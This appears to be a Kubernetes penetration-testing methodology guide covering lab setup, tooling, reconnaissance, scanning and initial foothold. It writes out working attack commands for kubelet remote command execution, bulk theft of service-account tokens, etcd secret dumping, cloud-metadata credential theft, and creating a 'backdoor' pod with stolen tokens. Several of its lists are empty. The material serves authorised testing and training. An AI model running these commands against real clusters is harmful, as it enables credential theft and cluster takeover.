Kubernetes-PenTest

Kubernetes Penetration Testing & Attack Methodology

A comprehensive practical guide for red teams, penetration testers, and security researchers


Table of Contents

Part 1: Setup & Preparation

  1. Introduction & Prerequisites
  2. Lab Setup for Practice
  3. Tools Installation & Setup

Part 2: Attack Methodology - Detailed Phases
4. Phase 0: Scope & Access Context
5. Phase 1: External Reconnaissance
6. Phase 2: Automated Scanning
7. Phase 3: Initial Foothold
8. Phase 4: Authenticated Enumeration
9. Phase 5: Privilege Escalation
10. Phase 6: Lateral Movement & Persistence
11. Phase 7: Post-Exploitation & Objectives

Part 3: Advanced Topics
12. CVE Exploitation Examples
13. Cloud Provider Specific Attacks
14. Detection & Evasion Techniques
15. Real-World Case Studies

Part 4: Defense & Quick Reference
16. Remediation Guidance
17. Command Cheat Sheet
18. Tools Comparison Matrix
19. MITRE ATT&CK for Kubernetes


1. Introduction & Prerequisites

This guide provides a systematic approach to Kubernetes penetration testing, combining external reconnaissance, exploitation techniques, post-exploitation activities, and defense evasion methods.

Prerequisites

⚠️ IMPORTANT: Only use these techniques against:

Unauthorized access to computer systems is illegal in most jurisdictions.

Scope of This Guide

This methodology covers:


2. Lab Setup for Practice

Setting up vulnerable Kubernetes environments for safe practice and skill development.

2.1 Building a Vulnerable Kubernetes Cluster

Option A: Minikube with Intentional Misconfigurations

# Install minikube
curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64
sudo install minikube-linux-amd64 /usr/local/bin/minikube

# Start vulnerable cluster (RBAC disabled, anonymous auth enabled)
minikube start \
  --extra-config=apiserver.authorization-mode=AlwaysAllow \
  --extra-config=kubelet.authentication.anonymous.enabled=true \
  --extra-config=kubelet.authorization.mode=AlwaysAllow \
  --extra-config=apiserver.insecure-port=8080 \
  --extra-config=apiserver.insecure-bind-address=0.0.0.0

# Expose kubelet insecurely (for practice only!)
minikube ssh -- sudo sed -i 's/--anonymous-auth=false/--anonymous-auth=true/' /var/lib/kubelet/kubeadm-flags.env
minikube ssh -- sudo systemctl restart kubelet

Option B: Kind (Kubernetes in Docker) Multi-Node

# vulnerable-cluster.yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: ClusterConfiguration
    apiServer:
        extraArgs:
          anonymous-auth: "true"
          authorization-mode: "AlwaysAllow"
          insecure-port: "8080"
          insecure-bind-address: "0.0.0.0"
- role: worker
- role: worker
# Create cluster
kind create cluster --config vulnerable-cluster.yaml --name vuln-cluster

# Verify vulnerable configuration
kubectl get nodes
curl http://$(docker inspect vuln-cluster-control-plane | jq -r '.[0].NetworkSettings.Networks.kind.IPAddress'):8080/api/v1/pods

Option C: k3s Lightweight Setup

# Install k3s with insecure settings
curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC="server --disable-network-policy --write-kubeconfig-mode 644" sh -

# Create vulnerable pods
kubectl apply -f https://raw.githubusercontent.com/madhuakula/kubernetes-goat/master/scenarios/kubernetes-goat.yaml

2.2 CTF-Style Practice Challenges

Challenge 1: Find and Exploit Exposed Kubelet

Challenge 2: RBAC Privilege Escalation

Challenge 3: Container Escape to Node

Challenge 4: Secrets Exfiltration

Challenge 5: Persistence & Backdoors

2.3 Pre-Built Vulnerable Environments

Kubernetes Goat (OWASP)

git clone https://github.com/madhuakula/kubernetes-goat
cd kubernetes-goat
kubectl apply -f scenarios/kubernetes-goat.yaml
kubectl port-forward svc/kubernetes-goat 8080:80

BadPods (BishopFox)

git clone https://github.com/BishopFox/badPods
kubectl apply -f badPods/manifests/everything-allowed/pod/everything-allowed-exec-pod.yaml
kubectl exec -it everything-allowed-exec-pod -- chroot /host bash

Vulnerable Scenarios to Practice:


3. Tools Installation & Setup

Comprehensive installation guide for all tools mentioned in this methodology.

3.1 Essential Kubernetes Tools

kubectl (Official Kubernetes CLI)

# Linux
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
chmod +x kubectl && sudo mv kubectl /usr/local/bin/

# macOS
brew install kubectl

# Windows (PowerShell)
Invoke-WebRequest -Uri "https://dl.k8s.io/release/v1.26.0/bin/windows/amd64/kubectl.exe" -OutFile "kubectl.exe"

# Verify installation
kubectl version --client
kubectl completion bash | sudo tee /etc/bash_completion.d/kubectl

kube-hunter (Aqua Security)

# Python pip
pip3 install kube-hunter

# Docker (recommended for isolation)
alias kube-hunter='docker run -it --rm aquasec/kube-hunter'

# From source
git clone https://github.com/aquasecurity/kube-hunter
cd kube-hunter
pip install -r requirements.txt
python kube-hunter.py

# Test installation
kube-hunter --list

kubeletctl (CyberArk)

# Linux x64
wget https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64
chmod +x kubeletctl_linux_amd64 && sudo mv kubeletctl_linux_amd64 /usr/local/bin/kubeletctl

# macOS
wget https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_darwin_amd64
chmod +x kubeletctl_darwin_amd64 && sudo mv kubeletctl_darwin_amd64 /usr/local/bin/kubeletctl

# Verify
kubeletctl version

peirates (InGuardians)

# From source (requires Go)
git clone https://github.com/inguardians/peirates
cd peirates
go build .
sudo mv peirates /usr/local/bin/

# Pre-compiled binary
wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz
tar -xf peirates-linux-amd64.tar.xz
sudo mv peirates-linux-amd64/peirates /usr/local/bin/

# Test
peirates -h

3.2 Security Assessment Tools

kube-bench (CIS Kubernetes Benchmark)

# Install binary
wget https://github.com/aquasecurity/kube-bench/releases/latest/download/kube-bench_$(uname -s)_$(uname -m).tar.gz
tar -xzf kube-bench_*.tar.gz
sudo mv kube-bench /usr/local/bin/

# Run with Docker
docker run --pid=host -v /etc:/etc:ro -v /var:/var:ro -t aquasec/kube-bench:latest run --targets master

# Run natively
kube-bench run

kubeaudit (Shopify)

# Download latest release
wget https://github.com/Shopify/kubeaudit/releases/latest/download/kubeaudit_$(uname -s)_$(uname -m).tar.gz
tar -xzf kubeaudit_*.tar.gz
sudo mv kubeaudit /usr/local/bin/

# Test
kubeaudit all

Kubescape (ARMO)

# Install script
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Manual download
wget https://github.com/kubescape/kubescape/releases/latest/download/kubescape-ubuntu-latest
chmod +x kubescape-ubuntu-latest && sudo mv kubescape-ubuntu-latest /usr/local/bin/kubescape

# Test
kubescape version

Trivy (Aqua Security)

# Using package manager
# Ubuntu/Debian
sudo apt-get update && sudo apt-get install wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" | sudo tee -a /etc/apt/sources.list.d/trivy.list
sudo apt-get update && sudo apt-get install trivy

# macOS
brew install trivy

# Manual
wget https://github.com/aquasecurity/trivy/releases/latest/download/trivy_$(uname -s)-64bit.tar.gz
tar zxf trivy_$(uname -s)-64bit.tar.gz
sudo mv trivy /usr/local/bin/

kubiscan (CyberArk)

# Python installation
pip3 install kubiscan

# From source
git clone https://github.com/cyberark/KubiScan
cd KubiScan
pip3 install -r requirements.txt
python3 KubiScan.py

# Test
kubiscan --help

etcdctl

# Download from etcd releases
ETCD_VER=v3.5.8
wget https://github.com/etcd-io/etcd/releases/download/${ETCD_VER}/etcd-${ETCD_VER}-linux-amd64.tar.gz
tar xzf etcd-${ETCD_VER}-linux-amd64.tar.gz
sudo mv etcd-${ETCD_VER}-linux-amd64/etcdctl /usr/local/bin/

# Test
etcdctl version

3.3 Cloud Provider CLI Tools

AWS CLI

# Install
pip3 install awscli

# Alternative: download installer
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install

# Configure (if you have credentials)
aws configure

# Test
aws sts get-caller-identity

Google Cloud SDK

# Install
curl https://sdk.cloud.google.com | bash
exec -l $SHELL

# Alternative: package manager
# Ubuntu/Debian
echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | sudo tee -a /etc/apt/sources.list.d/google-cloud-sdk.list
curl https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key --keyring /usr/share/keyrings/cloud.google.gpg add -
sudo apt-get update && sudo apt-get install google-cloud-sdk

# Initialize
gcloud init

# Install kubectl component
gcloud components install kubectl

Azure CLI

# Install script
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Package manager (Ubuntu/Debian)
curl -sL https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor | sudo tee /etc/apt/trusted.gpg.d/microsoft.gpg > /dev/null
echo "deb [arch=amd64] https://packages.microsoft.com/repos/azure-cli/ $(lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/azure-cli.list
sudo apt-get update && sudo apt-get install azure-cli

# Login (if you have credentials)
az login

# Test
az account show

3.4 Additional Useful Tools

jq (JSON Processor)

# Most package managers
sudo apt-get install jq  # Ubuntu/Debian
brew install jq          # macOS
sudo yum install jq      # CentOS/RHEL

# Test with kubectl
kubectl get pods -o json | jq '.items[].metadata.name'

nmap & masscan

# nmap
sudo apt-get install nmap  # Ubuntu/Debian
brew install nmap          # macOS

# masscan  
sudo apt-get install masscan
# macOS: brew install masscan

Docker/Podman

# Docker
curl -fsSL https://get.docker.com | bash
sudo usermod -aG docker $USER

# Podman (rootless alternative)
sudo apt-get install podman  # Ubuntu 20.04+

3.5 Tool Configuration & Verification

Verify All Installations

# Create verification script
cat > verify-k8s-tools.sh << 'EOF'
#!/bin/bash
echo "=== Kubernetes Penetration Testing Tools Verification ==="

tools=(
    "kubectl:kubectl version --client"
    "kube-hunter:kube-hunter --help"
    "kubeletctl:kubeletctl version"
    "peirates:peirates -h"
    "kube-bench:kube-bench version"
    "kubeaudit:kubeaudit version"
    "kubescape:kubescape version"
    "trivy:trivy version"
    "etcdctl:etcdctl version"
    "nmap:nmap --version"
    "jq:jq --version"
)

for tool in "${tools[@]}"; do
    name="${tool%%:*}"
    cmd="${tool#*:}"
    echo -n "Checking $name... "
    if $cmd >/dev/null 2>&1; then
        echo "✅ OK"
    else
        echo "❌ NOT FOUND"
    fi
done
EOF

chmod +x verify-k8s-tools.sh
./verify-k8s-tools.sh

4. Phase 0: Scope & Access Context

MITRE ATT&CK Tactics: Reconnaissance (TA0043), Initial Access (TA0001)

Determining your starting position and available attack vectors.

4.1 Access Scenarios

flowchart TD
    A[Start Assessment] --> B{Do you have K8s credentials?}
    B -->|Yes| C[Authenticated Path
✓ kubectl works
✓ Have kubeconfig/token
➜ Skip to Phase 4] B -->|No| D{Network access to cluster?} D -->|Yes| E[Internal Path
✓ Inside VPC/network
✓ Can reach cluster IPs
✗ No K8s credentials
➜ Start at Phase 3] D -->|No| F[External Path
✓ Internet-only access
✗ No network access
✗ No credentials
➜ Start at Phase 1] C --> G[Authenticated Attacks:
• RBAC enumeration
• Privilege escalation
• Secret access] E --> H[Internal Attacks:
• Service discovery
• Token theft
• Network exploitation] F --> I[External Attacks:
• Port scanning
• Exposed services
• OSINT gathering]

4.2 Methodology Decision Matrix

Starting Position Available Phases Key Techniques Success Probability
External Only 1, 2 → 3 → 4+ OSINT, port scanning, service exploitation Low-Medium
Internal Network 3 → 4+ Service discovery, token theft, lateral movement Medium-High
Authenticated 4+ RBAC abuse, privileged escalation, secrets access High

4.3 Information Gathering Checklist

Pre-Engagement Questions:

Scope Boundaries:


5. Phase 1: External Reconnaissance

MITRE ATT&CK Techniques:

Discovering Kubernetes infrastructure from the Internet.

5.1 Search Engine Intelligence (OSINT)

Shodan Queries

# Basic Kubernetes discovery
shodan search 'product:"Kubernetes"' --fields ip_str,port,org,hostnames

# API server discovery
shodan search 'port:6443 product:"kube-apiserver"' --fields ip_str,org,location

# Dashboard discovery
shodan search '"kubernetes-dashboard"' --fields ip_str,port,org

# etcd discovery (critical finding!)
shodan search 'port:2379 product:"etcd"' --fields ip_str,org

# Kubelet discovery
shodan search 'port:10250 "kubelet"' --fields ip_str,org

# NodePort services
shodan search 'port:30000-32767 kubernetes' --fields ip_str,port,data

Censys Queries

# API via censys CLI
censys search 'services.kubernetes: *' --index-type ipv4

# Manual web searches
# services.port: 6443
# protocols: ("6443/kubernetes")
# kubernetes AND port: 6443

Certificate Transparency (crt.sh)

Manual searches at https://crt.sh:

# Automated crt.sh search
curl -s "https://crt.sh/?q=%25.k8s.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Extract subdomains
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | grep -E "(k8s|kube|cluster)" | sort -u

5.2 Network Discovery

Target Ports for Kubernetes

Port Service Risk Level Description
443/6443 API Server HIGH Main cluster API, often requires auth
8080 Insecure API CRITICAL Legacy insecure API server
2379/2380 etcd CRITICAL Cluster data store, contains secrets
10250 kubelet API HIGH Node agent, can exec into pods
10255 kubelet read-only MEDIUM Legacy read-only kubelet interface
8001 kubectl proxy HIGH Local API proxy, usually admin access
30000-32767 NodePort MEDIUM Exposed application services

Port Scanning Commands

# Quick scan for common K8s ports
nmap -p 443,6443,8080,2379,2380,10250,10255,8001,30000-32767 \
  -sV -sC -Pn -T4 \
  --open \
  -oA kubernetes-scan \
  <target-ip-or-range>

# Detailed scan with service detection
nmap -p- --min-rate 10000 -sV -sC \
  --script "kubernetes-*" \
  -oA full-kubernetes-scan \
  <target>

# Fast discovery with masscan
masscan 10.0.0.0/16 \
  -p443,6443,8080,2379,2380,10250,10255 \
  --rate 10000 \
  -oL masscan-k8s.txt

# Follow up with nmap on discovered hosts
awk '{print $6}' masscan-k8s.txt | sort -u | nmap -sV -sC -iL -

UDP Scan for DNS/DHCP Services

# Some K8s services run on UDP
nmap -sU -p 53,67,68,161,514 <target-range>

5.3 HTTP Service Enumeration

API Server Testing

# Version information (usually available)
curl -k https://<api-server>:6443/version
curl -k https://<api-server>:6443/openapi/v2

# API discovery
curl -k https://<api-server>:6443/api
curl -k https://<api-server>:6443/api/v1

# Test for unauthenticated access (misconfiguration)
curl -k https://<api-server>:6443/api/v1/namespaces
curl -k https://<api-server>:6443/api/v1/pods
curl -k https://<api-server>:6443/api/v1/secrets

# Legacy insecure API (port 8080)
curl http://<api-server>:8080/api/v1/pods
curl http://<api-server>:8080/api/v1/namespaces/kube-system/secrets

# Expected responses:
# ✅ Version info: {"major":"1","minor":"26",...}
# ❌ Forbidden: {"kind":"Status","code":403}
# 🚨 Success: {"kind":"PodList","items":[...]}

kubelet API Testing

# Read-only port (legacy, often disabled)
curl http://<node-ip>:10255/pods
curl http://<node-ip>:10255/stats/summary
curl http://<node-ip>:10255/spec

# Authenticated port (check for anonymous access)
curl -k https://<node-ip>:10250/pods
curl -k https://<node-ip>:10250/runningpods/
curl -k https://<node-ip>:10250/metrics

# Dangerous: command execution (if anonymous auth enabled)
curl -k -XPOST "https://<node-ip>:10250/run/<namespace>/<pod>/<container>" \
  -d "cmd=id"

# Expected responses:
# ✅ Pod list: {"kind":"PodList","items":[...]}
# ❌ Unauthorized: {"kind":"Status","code":401}
# 🚨 Command output: uid=0(root) gid=0(root)

etcd Testing (Critical)

# Version check
curl http://<etcd-ip>:2379/version

# Cluster health
curl http://<etcd-ip>:2379/health

# Data access (CRITICAL if successful)
etcdctl --endpoints=http://<etcd-ip>:2379 get "" --prefix --keys-only

# Extract secrets (game over if this works)
etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/ --prefix

# Expected responses:
# ✅ Version: {"etcdserver":"3.5.8",...}
# 🚨 Data: /registry/secrets/default/db-password

5.4 Dashboard and Web Interface Discovery

Common Kubernetes Web UIs

# Kubernetes Dashboard (check multiple ports)
curl -k https://<target>:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
curl -k https://<target>/dashboard/
curl -k https://<target>:30000-32767/  # Check NodePort range

# Rancher
curl -k https://<target>/dashboard/
curl -k https://<target>/v3/

# OpenShift
curl -k https://<target>:8443/console/

# Grafana (often exposed with K8s)
curl -k https://<target>:3000/

# Expected findings:
# 🚨 Unauthenticated dashboard access
# ⚠️  Login page (potential for brute force)
# ✅ 404/403 (properly protected)

5.5 SSL/TLS Certificate Analysis

# Extract certificate information
echo | openssl s_client -connect <api-server>:6443 2>/dev/null | openssl x509 -text

# Look for:
# - Subject Alternative Names (SANs) with cluster info
# - Organization info
# - Certificate authority details
# - Expiration dates

# Common patterns in K8s certs:
# CN=kubernetes
# SAN=kubernetes.default.svc.cluster.local
# SAN=<node-ip>

5.6 Cloud Provider Fingerprinting

AWS EKS Detection

# EKS clusters use specific certificate authorities
curl -k https://<api-server>:6443/version | grep -i eks

# EKS-specific endpoints
curl -k https://<api-server>:6443/api/v1/namespaces/kube-system/configmaps/aws-auth

# Look for EKS in SSL certificates
echo | openssl s_client -connect <api-server>:6443 2>/dev/null | grep -i eks

Google GKE Detection

# GKE version strings
curl -k https://<api-server>:6443/version | grep -i gke

# GKE metadata
curl -k https://<api-server>:6443/api/v1/nodes | grep -i gke

Azure AKS Detection

# AKS version strings
curl -k https://<api-server>:6443/version | grep -i azure

# AKS-specific resources
curl -k https://<api-server>:6443/api/v1/namespaces/kube-system/configmaps | grep azure

5.7 Common Findings & Risk Assessment

Critical Findings (Immediate Compromise)

High-Risk Findings

Medium-Risk Findings


6. Phase 2: Automated Scanning

MITRE ATT&CK Techniques:

Automated tools to discover vulnerabilities and misconfigurations.

6.1 kube-hunter (Comprehensive Security Scanner)

Basic Usage

# Remote scan (external assessment)
kube-hunter --remote <api-server-ip>

# Network range scan
kube-hunter --cidr 10.0.0.0/16

# Active mode (attempts exploitation - use carefully!)
kube-hunter --remote <target> --active

# From inside a compromised pod
kube-hunter --pod

# Multiple output formats
kube-hunter --remote <target> --report json > kube-hunter-report.json
kube-hunter --remote <target> --report yaml > kube-hunter-report.yaml

Interpreting kube-hunter Results

# Example output structure:
# VULNERABILITIES:
# +-------------+----------------------+----------------------+----------------------+
# | ID          | LOCATION             | MITRE CATEGORY       | VULNERABILITY        |
# +-------------+----------------------+----------------------+----------------------+
# | KHV002      | 10.0.0.1:443         | Initial Access       | K8s Version Disclosure|
# | KHV005      | 10.0.0.1:10250       | Execution            | Kubelet API          |
# | KHV030      | 10.0.0.1:2379        | Credential Access    | Etcd Remote Access   |

Critical kube-hunter Findings:

Finding ID Severity Description Impact
KHV030 HIGH Etcd Remote Access Full cluster compromise
KHV005 HIGH Kubelet API Pod execution access
KHV050 MEDIUM K8s Dashboard Potential privilege escalation
KHV002 LOW Version Disclosure Information gathering

6.2 kubeletctl (Kubelet Exploitation)

Discovery and Enumeration

# Scan for kubelets in network range
kubeletctl scan --cidr 10.0.0.0/24

# Target specific kubelet
kubeletctl --server <node-ip> pods

# Health check
kubeletctl --server <node-ip> healthz

# Get kubelet configuration
kubeletctl --server <node-ip> configz

Token and Secret Extraction

# Automated token scanning
kubeletctl --server <node-ip> scan token

# Manual token extraction from pods
kubeletctl --server <node-ip> exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" \
  -p <pod-name> \
  -c <container-name>

# Extract all tokens from all pods
for pod in $(kubeletctl --server <node-ip> pods | grep -o 'pod-[a-z0-9-]*'); do
  echo "=== $pod ==="
  kubeletctl --server <node-ip> exec "find /var/run/secrets -name token 2>/dev/null | xargs cat 2>/dev/null" -p $pod
done

Remote Code Execution

# Check for RCE capabilities
kubeletctl --server <node-ip> scan rce

# Execute commands (if vulnerable)
kubeletctl --server <node-ip> exec "id" -p <pod-name> -c <container-name>

# Common enumeration commands
kubeletctl --server <node-ip> exec "cat /etc/passwd" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "ls -la /" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "env" -p <pod> -c <container>

# Network reconnaissance from pod
kubeletctl --server <node-ip> exec "netstat -tulpn" -p <pod> -c <container>
kubeletctl --server <node-ip> exec "ss -tulpn" -p <pod> -c <container>

6.3 kube-bench (CIS Kubernetes Benchmark)

Running CIS Checks

# Auto-detect and run appropriate checks
kube-bench run

# Target specific node type
kube-bench run --targets master
kube-bench run --targets node
kube-bench run --targets etcd
kube-bench run --targets policies

# Specific check sections
kube-bench run --check 1.2.1,1.2.2  # API server checks
kube-bench run --check 4.1.1,4.1.2  # Worker node checks

# Output formats
kube-bench run --json > cis-results.json
kube-bench run --junit > cis-results.xml

Key CIS Check Categories

Section Focus Critical Checks
1.2 API Server Anonymous auth, insecure port, audit logs
1.3 Controller Manager Service account key rotation, bind address
1.4 Scheduler Secure bind address
2.X etcd Client cert auth, peer communication
4.1 Worker Nodes kubelet config, anonymous auth
4.2 Worker Node Files File permissions, ownership
5.1 RBAC Default service accounts, cluster roles
5.2 Pod Security Pod Security Standards, admission controllers

6.4 Additional Scanning Tools

kubeaudit (Security Policy Violations)

# Comprehensive audit
kubeaudit all

# Specific security checks
kubeaudit privileged    # Find privileged containers
kubeaudit capabilities  # Dangerous capabilities
kubeaudit hostns        # Host namespace usage
kubeaudit asatoken      # Automatic service account token mounting
kubeaudit nonroot       # Containers running as root
kubeaudit limits        # Resource limits

# Against live cluster
kubeaudit all -k ~/.kube/config

# Against manifest files
kubeaudit all -f /path/to/manifests/

Kubescape (Multiple Security Frameworks)

# NSA/CISA security framework
kubescape scan framework nsa --submit=false

# MITRE ATT&CK framework
kubescape scan framework mitre --submit=false

# Specific controls
kubescape scan control "Privileged container"
kubescape scan control "Container runtime socket mounted"
kubescape scan control "Non-root containers"

# Output to file
kubescape scan framework nsa --format json --output results.json

# Scan specific resources
kubescape scan workload deployment/nginx
kubescape scan workload --namespace production

Trivy Kubernetes Mode

# Scan entire cluster
trivy k8s cluster

# Scan specific namespace
trivy k8s all --namespace production

# Scan specific resources
trivy k8s deployment/nginx
trivy k8s pod/webapp-pod

# Include additional checks
trivy k8s cluster --severity HIGH,CRITICAL
trivy k8s cluster --compliance k8s-nsa,k8s-cis

# Output formats
trivy k8s cluster --format json > trivy-k8s-results.json

6.5 Scanning Decision Tree

flowchart TD
    A[Start Scanning Phase] --> B{Have network access to cluster?}
    B -->|No| C[External Scanning Only
• kube-hunter --remote
• nmap port scan
• HTTP enumeration] B -->|Yes| D{Have any credentials?} D -->|No| E[Network + Unauthenticated
• kube-hunter --cidr
• kubeletctl scan
• Service discovery] D -->|Yes| F[Authenticated Scanning
• kube-bench run
• kubeaudit all
• trivy k8s cluster
• kubescape scan] C --> G[Findings: Exposed services,
version info, misconfigs] E --> H[Findings: Internal services,
kubelet access, etcd] F --> I[Findings: RBAC issues,
pod security, compliance gaps] G --> J[Next: Exploit exposed services] H --> J I --> K[Next: Privilege escalation]

6.6 Prioritizing Scanner Findings

Immediate Action (Critical)

  1. Unauthenticated etcd access - Full cluster compromise possible
  2. Insecure API server - Administrative access
  3. kubelet RCE - Node and pod compromise
  4. Exposed dashboard - Potential admin interface

High Priority (Major Security Issues)

  1. Privileged containers - Container escape potential
  2. Over-permissive RBAC - Privilege escalation
  3. Missing network policies - Lateral movement
  4. Secrets in environment variables - Credential exposure

Medium Priority (Defense in Depth)

  1. Missing resource limits - DoS potential
  2. No Pod Security Standards - Weak container controls
  3. Missing audit logging - Reduced visibility
  4. Outdated versions - Known CVE exposure

Example Prioritization Script

# Combine multiple scanner outputs for analysis
cat > prioritize-findings.py << 'EOF'
#!/usr/bin/env python3
import json, sys

critical_keywords = ['etcd', 'insecure-port', 'privileged', 'cluster-admin', 'anonymous-auth']
high_keywords = ['hostNetwork', 'hostPID', 'capabilities', 'secrets']

def prioritize_finding(description):
    desc_lower = description.lower()
    if any(keyword in desc_lower for keyword in critical_keywords):
        return "CRITICAL"
    elif any(keyword in desc_lower for keyword in high_keywords):
        return "HIGH"
    else:
        return "MEDIUM"

# Process kube-hunter JSON output
with open('kube-hunter-report.json') as f:
    data = json.load(f)
    for vuln in data.get('vulnerabilities', []):
        priority = prioritize_finding(vuln['description'])
        print(f"{priority}: {vuln['description']} at {vuln['location']}")
EOF

python3 prioritize-findings.py

7. Phase 3: Initial Foothold

MITRE ATT&CK Techniques:

Gaining initial access to the Kubernetes cluster.

7.1 Common Attack Vectors

Service Account Token Theft (Most Common)

From a compromised pod or container:

# Check if we're in a container
ls /.dockerenv 2>/dev/null && echo "In Docker container" || echo "Not in container"

# Look for service account mount
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
# Expected files: ca.crt, namespace, token

# Extract service account info
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# Discover API server
echo "API Server: https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
APISERVER=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT

# Test token validity
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1 | jq .

kubelet API Exploitation

# If kubelet is exposed with anonymous auth
kubeletctl --server <node-ip> pods

# Extract tokens from all pods on the node
kubeletctl --server <node-ip> exec \
  "find /var/run/secrets -name token -exec cat {} \;" \
  -p <pod-name> -c <container-name>

# Execute commands to gather info
kubeletctl --server <node-ip> exec "hostname && id && ls -la /" \
  -p <pod-name> -c <container-name>

Application Vulnerabilities

Common vectors to get shell access:

7.2 Environment Discovery

Container Environment Analysis

# Basic environment discovery
hostname
id
uname -a
cat /etc/passwd | grep -E "(root|kubernetes|docker)"

# Container runtime detection
if [ -f /.dockerenv ]; then
    echo "Docker container"
elif [ -f /run/.containerenv ]; then
    echo "Podman container"
elif [ -d /proc/1/cgroup ]; then
    grep -q docker /proc/1/cgroup && echo "Docker container"
    grep -q kubepods /proc/1/cgroup && echo "Kubernetes pod"
fi

# Environment variables (look for secrets!)
env | grep -E "(PASS|SECRET|TOKEN|KEY|API)" | sort

# Network configuration
ip addr show
ip route show
cat /etc/resolv.conf

# Process listing
ps aux

# File system exploration
ls -la /
ls -la /opt/
ls -la /app/

Service Discovery

# Internal Kubernetes DNS
nslookup kubernetes.default
nslookup kubernetes.default.svc.cluster.local

# Service enumeration via DNS
for i in {1..255}; do 
  (timeout 1 nslookup service-$i.default.svc.cluster.local 2>/dev/null | grep -v "server can't find" && echo "Found: service-$i") &
done
wait

# Network scanning (if tools available)
for port in 80 443 8080 8443 9090 3000; do
  timeout 2 bash -c "</dev/tcp/kubernetes.default/$port" 2>/dev/null && echo "Port $port open on kubernetes.default"
done

# Common service discovery
curl -k https://kubernetes.default.svc.cluster.local/api/v1/ -H "Authorization: Bearer $TOKEN"

Cloud Metadata Services

# AWS Instance Metadata
curl -s http://169.254.169.254/latest/meta-data/ 2>/dev/null
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null

# Google Cloud Metadata  
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/ 2>/dev/null

# Azure Instance Metadata
curl -s -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" 2>/dev/null

# If successful, extract credentials:
# AWS: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# GCP: curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
# Azure: curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

7.3 Establishing External kubectl Access

Configure kubectl from External Machine

# Method 1: Using stolen token
kubectl config set-cluster target-cluster \
  --server=https://<api-server>:6443 \
  --insecure-skip-tls-verify=true

kubectl config set-credentials stolen-serviceaccount \
  --token="$STOLEN_TOKEN"

kubectl config set-context target-context \
  --cluster=target-cluster \
  --user=stolen-serviceaccount \
  --namespace="$NAMESPACE"

kubectl config use-context target-context

# Test access
kubectl auth can-i --list
kubectl get pods

# Method 2: Create kubeconfig file
cat > stolen-kubeconfig.yaml << EOF
apiVersion: v1
kind: Config
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://<api-server>:6443
  name: target-cluster
contexts:
- context:
    cluster: target-cluster
    user: stolen-sa
    namespace: $NAMESPACE
  name: target-context
current-context: target-context
users:
- name: stolen-sa
  user:
    token: $STOLEN_TOKEN
EOF

export KUBECONFIG=stolen-kubeconfig.yaml
kubectl get pods

Using curl Instead of kubectl

# If kubectl isn't available, use curl for API calls
API_SERVER="https://<api-server>:6443"
TOKEN="<stolen-token>"

# Get pods
curl -k -H "Authorization: Bearer $TOKEN" \
  $API_SERVER/api/v1/namespaces/default/pods | jq '.items[].metadata.name'

# Get secrets
curl -k -H "Authorization: Bearer $TOKEN" \
  $API_SERVER/api/v1/namespaces/default/secrets | jq '.items[].metadata.name'

# Create a pod (if permissions allow)
cat > malicious-pod.json << EOF
{
  "apiVersion": "v1",
  "kind": "Pod",
  "metadata": {"name": "backdoor"},
  "spec": {
    "containers": [{
      "name": "shell",
      "image": "ubuntu:latest",
      "command": ["/bin/sleep", "3600"]
    }]
  }
}
EOF

curl -k -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  $API_SERVER/api/v1/namespaces/default/pods \
  -d @malicious-pod.json

8. Phase 4: Authenticated Enumeration

MITRE ATT&CK Techniques:

Systematic enumeration with cluster access.

8.1 Basic Cluster Information

# Cluster overview
kubectl cluster-info
kubectl cluster-info dump | grep -E "(server|version|endpoint)"

# Version information (helps identify CVEs)
kubectl version
kubectl version --short

# Current context and configuration
kubectl config current-context
kubectl config view
kubectl config get-contexts

# Node information
kubectl get nodes
kubectl get nodes -o wide
kubectl describe nodes
